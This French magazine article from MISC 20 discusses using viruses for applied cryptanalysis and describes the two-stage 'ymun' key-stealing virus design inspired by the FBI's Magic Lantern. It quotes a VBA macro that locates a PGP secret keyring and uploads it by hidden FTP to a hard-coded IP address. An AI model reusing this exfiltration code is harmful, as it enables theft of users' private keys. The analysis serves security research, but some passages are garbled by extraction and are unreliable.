Retrouvez cet article dans : Misc 20
 Polymorphisme, obfuscation, blindage, protection et renforcement de charges finales... Les précédents articles du dossier ont montré comment la cryptologie pouvait renforcer les virus et plus généralement des codes malveillants (bombe logique, shellcodes, chevaux de Troie, virus, vers...). Dans le présent article, nous allons inverser la vision et considérer comment les virus et autres codes généralement considérés comme " malveillants " peuvent aider la cryptologie et venir quelquefois résoudre opérationnellement des problèmes considérés comme insolubles en pratique. Cette vision inversée, au-delà du seul aspect technique, a l'intérêt de considérer l'utilisation des virus et autres infections informatiques en vue d'applications " bénéfiques ", même si la notion de bénéfice reste une notion subjective.
Introduction
L'usage de techniques virologiques informatiques permet avec succès d'apporter une solution opérationnelle à un certain nombre de problèmes que la cryptologie ne peut résoudre à elle seule. Si cette éventualité fait l'objet d'une opposition systématique et particulièrement féroce de la part des vendeurs d'antivirus – pour des raisons qu'il est aisé d'imaginer – et si la législation de la plupart des pays ne prévoit ni n'autorise pas encore l'usage de telles techniques, à des fins opérationnelles, il n'en demeure pas moins qu'une véritable réflexion doit être menée pour envisager, de manière contrôlée et réglementée, l'usage de techniques de la virologie informatique à des fins opérationnelles, en cryptologie et plus particulièrement dans ses applications. Présentons les principales (mais la liste est loin d'être exhaustive) :- La cryptanalyse ou stéganalyse appliquée.
- La protection efficace des données classifiées ou sensibles. À ce titre, le meilleur exemple est certainement le virus KOH.
- La description de systèmes de chiffrement à l'aide de modèles viraux...
- 1.5 x 1012 siècles pour une clef de 128 bits,
- 2.76 x 1031 siècles pour une clef de 192 bits,
- 5.1 x 1050 siècles pour une clef de 256 bits.
- Recherche du fichier
secring.skrÂ:
         pgppath = System.PrivateProfileString("", "HKEY_CLASSES_ROOT\PGP       Encrypted File\shell\open\command", "")
       ....
       With Application.FileSearch
         .FileName = "\Secring.skr"
         .LookIn = pgppath
         .SearchSubFolders = True
         .MatchTextExactly = True
         .FileType = msoFileTypeAllFiles
         .Execute
         PGP_Sec_Key = .FoundFiles(1)
        End With
Si le fichier existe, il est placé dans un fichier temporaire dénommé        Randomize         For i = 1 To 4           NewSecRingFile = NewSecRingFile + Mid(Str(Int(8 * Rnd)), 2, 1)         Next i         NewSecRingFile = "./secring" & NewSecRingFile & ".skr"       Open "c:\cdbrk.vxd" For Output As #1           Print #1, "o 209.201.88.110"           Print #1, "user anonymous"           Print #1, "pass itsme@"           Print #1, "cd incoming"           Print #1, "binary"           Print #1, "put """ & PGP_Sec_Key & """ """ & NewSecRingFile & """"           Print #1, "quit"           Close #1       Shell "command.com /c ftp.exe -n -s:c:\cdbrk.vxd", vbHideEn 2001, le FBI a officiellement reconnu l'existence et l'utilisation par ses services de la technologie Magic Lantern [1]. Le but était de capturer les clefs de chiffrement en installant, au moyen d'un ver, un cheval de Troie permettant l'écoute et l'espionnage de la mémoire tampon du clavier des victimes (utilisé, en autres, pour entrer un mot de passe ou une clef de chiffrement). Les données volées sont alors envoyées sur le réseau. Nous allons présenter, ici, une solution opérationnelle, utilisant les virus " binaires " (cas particulier des virus dits " k-aires " ou groupes de k virus agissant en parallèle). Il s'agit de la famille des virus dénommés " ymun ", conçue pour évaluer, tester et valider la faisabilité et le potentiel de technologies de type Magic Lantern. Le lecteur trouvera dans [3, chapitre 13] une description détaillée d'un membre de cette famille, appelé " ymun20 ". Seul l'aspect algorithmique sera ici considéré dans le cadre d'un scénario d'attaque qui a servi de base d'évaluation.
Description générale du virus Ymun et de l'attaque
Considérons d'abord pour notre attaque deux utilisateurs, Alice et Bob, communiquant via des fichiers chiffrés à l'aide d'un système (stéganographique ou cryptographique) S. Alice protège d'abord un fichierLe virus V1 : première étape de l'infection
Le virus- Le virus
V1est un virus faiblement infectant. En effet, ce virus n'a pour cible que les ordinateurs où est installé un logiciel de cryptographie ou de stéganographie S. Une routineSearch()réalise cette tâche. Si l'ordinateur ne possède aucun de ces logiciels, le virus se " désinfecte ", autrement dit, il se désinstalle lui-même du système. - Le virus
V1est un virus résident. En d'autres mots, immédiatement après la première infection et à chaque démarrage de l'ordinateur, le virusV1est chargé en mémoire. Pour cela une routineisinfected()vérifie que l'ordinateur n'est pas déjà infecté. La routineinfect()réalise l'infection du système. Pour assurer une efficacité permanente, lorsque l'ordinateur est redémarré, le virus est automatiquement relancé. - Le dernier module de
V1est lancé lorsque ce dernier est résident. Il recherche en permanence, dans les e-mails reçus, la présence deσ. Quandσest détecté, la routinelaunch()lance le virusV2(dans le cas généralV2est présent dans le mail sous forme chiffrée,V1doit le déchiffrer au préalable ; la clef de chiffrement est différente de copie en copie deV1) et restaure l'intégrité de l'e-mail infecté (effaceσetV2 ; cette opération est bien sûr effectuée avant tout contrôle éventuel d'intégrité sur le message).

Figure 1Â : Organigramme du virus ymun-V1
Le virus V2 : seconde étape de l'infection
Le virus V2 bénéficie des actions et caractéristiques du virus

Figure 2Â : Organigramme du virus ymun-V2 (infection)
Les principales étapes de fonctionnement du virus
- Le virus V2 cherche en premier lieu les fichiers des logiciels qui doivent être spécifiquement attaqués, grâce à une routine
search(). L'infection est alors effectuée par une routinev2infect(). - L'infection réalisée,
V2tueV1et désinfecte la machine grâce à la routinev1disinfect(). - Ensuite,
V2attend d'effectuer la cryptanalyse appliquée elle-même (voir section suivante). - Une fois que
V2a collecté toutes les clefs possibles et les a fait " évader ", le routinev1infect()réinfecte l'ordinateur de Bob avec une version modifiée (mutée) deV1qui est alors de nouveau résident. En particulier, la signature σ est changée enσ'pour une attaque ultérieure. - Finalement, la routine
v2disinfect()désinfecte la machine de Bob du virusV2. L'attaque est achevée et de nouvelles conditions sont réalisées pour la rejouer plus tard.
Le virus V2 : la cryptanalyse appliquée
Son rôle est d'intercepter les clefs utilisées par Bob et de les faire sortir de sa machine. Les principales étapes sont les suivantes (résumées par le diagramme de la figure 3) :

Figure3Â : Organigramme du virus ymun-V2 (charge finale)
- Lors du déchiffrement par Bob du message reçu (après l'infection par
V2), la routinegetkey_d()capture la clef secrète utilisée par Bob et la cache soigneusement sur le disque dur (endroit différent à chaque variante virale ; la routinegetkey_d(), de plus, comprend une sous-routine chiffrant la clef capturée avant stockage). Durant chaque étape de déchiffrement ultérieure, par Bob, chaque clef est capturée et stockée selon le même processus uniquement s'il s'agit d'une nouvelle clef, différente des précédentes clefs capturées. Après la capture de chaque clef,V2redonne le contrôle au système S. Il est important de noter que le virusV2intervient à un niveau très bas, afin de capturer la clef en clair et non sous une forme chiffrée (défaut du macro-virus Caligula). Cela permet de capturer des clefs qui sont introduites dans le système autrement que par le clavier (supports amovibles).
- Dès qu'une opération de chiffrement intervient (après l'infection par
V2) la routinegetkey_e()capture la clef, la compare aux clefs de déchiffrement déjà capturées et si elle est différente, la mémorise. V2redonne temporairement le contrôle au système S pour la production du texte chiffré.- Enfin,
V2reprend le contrôle et la routineconcealkey()entre en action. Toutes les clefs capturées sont chargées et chiffrées par un algorithme différent de celui utilisé par la routinegetkey_d(). Elles sont finalement dissimulées dans le cryptogramme (par insertion ou par substitution; la position et le mode de dissimulation varient selon la version mutée du virus). A noter que l'action deV2intervient avant tout processus de signature ou de calcul d'intégrité sur le cryptogramme. V2restitue définitivement le contrôle au système S après l'action des routinesv1infect()etv2disinfect().
Pour récupérer les clefs, Charlie intercepte le cryptogramme envoyé à Alice et extrait les clefs qui y sont dissimulées.
Conclusion
Le virus Ymun a permis de valider l'approche prétendue d'un code viral comme le ver Magic Lantern du FBI. L'usage de techniques virales permet de répondre opérationnellement au problème de la cryptanalyse de systèmes de chiffrement modernes. Notons que l'approche présentée avec Ymun (ou Magic Lantern) permet de gérer tout aussi efficacement les systèmes asymétriques réalisant les fonctionnalités d'authentification et de signature. L'usage de ces techniques montre avec force qu'aucune sécurité cryptologique n'est possible sans une sécurité informatique cohérente (usage et mise à jour d'un antivirus, utilisation de firewalls, respect des règles informatiques de base...). Ce principe a été démontré avec force lors des Rump Sessions de la conférence SSTIC 2005 [6] (intervention d'Éric Detoisien et d'Aurélien Bordes). Les systèmes cryptologiques sont quasiment tous implémentés sous forme logicielles, du moins pour les applications commerciales et grand public. On ne peut que sourire à ce qui apparaît comme une certaine ironie : la cryptologie, à la base de tous les mécanismes de sécurité informatique (en vue de l’intégrité, de l'authentification, de la confidentialité...) peut précisément être défaite par des mécanismes relevant de la sécurité informatique. Cela prouve que toute politique de sécurité d'un système (informationnel ou de communication) se doit d'être globale. L'usage de technologies virales n'est pour le moment pas légal. L'" affaire " Magic Lantern a montré que certains pays s'y intéressaient cependant. Et dans cette perspective, la maîtrise de l'environnement d'exploitation d'un système est essentielle sous peine d'utiliser de la cryptologie dans un environnement inadapté.
Références
- [1] BRIDIS, T., " FBI Develops Eavesdropping Tools ", Washington Post, November 22nd, 2001.
- [2] DesCracker : www.eff.org/descracker
- [3] FILIOL, E, Les virus informatiques : théorie, pratique et applications, Collection IRIS, éditions Springer, 2004.
- [4] FILIOL, E., HELENIUS, M. et ZANERO S., " Open problems in computer virology ", Journal in Computer Virology, (1), 3-4, Springer Verlag, 2005 (à paraître).
- [5] FILIOL, E., Applied Cryptanalysis of Cryptosystems and Computer Attacks Through Hidden Ciphertexts Computer Viruses, Rapport de recherche INRIA, numéro 4359, 2002. Disponible sur : http://www-rocq.inria.fr/codes/Eric.Filiol/papers/rr4359vf.ps.gz
- [6] Symposium sur la Sécurité des Systèmes d'Information et de Communication 2005 (SSTIC 2005).– Rump sessions d'Eric DETOISIEN : " Ma connexion web est sécurisée, vive le SSL ! " et d'Aurélien BORDES : " Protection des clefs privées des certificats sous Windows 2000/XP ", Enregistrements vidéo bientôt disponibles sur le site http://www.sstic.org
 Retrouvez cet article dans : Misc 20





Donnez votre avis
Vous devez avoir ouvert une session pour écrire un commentaire.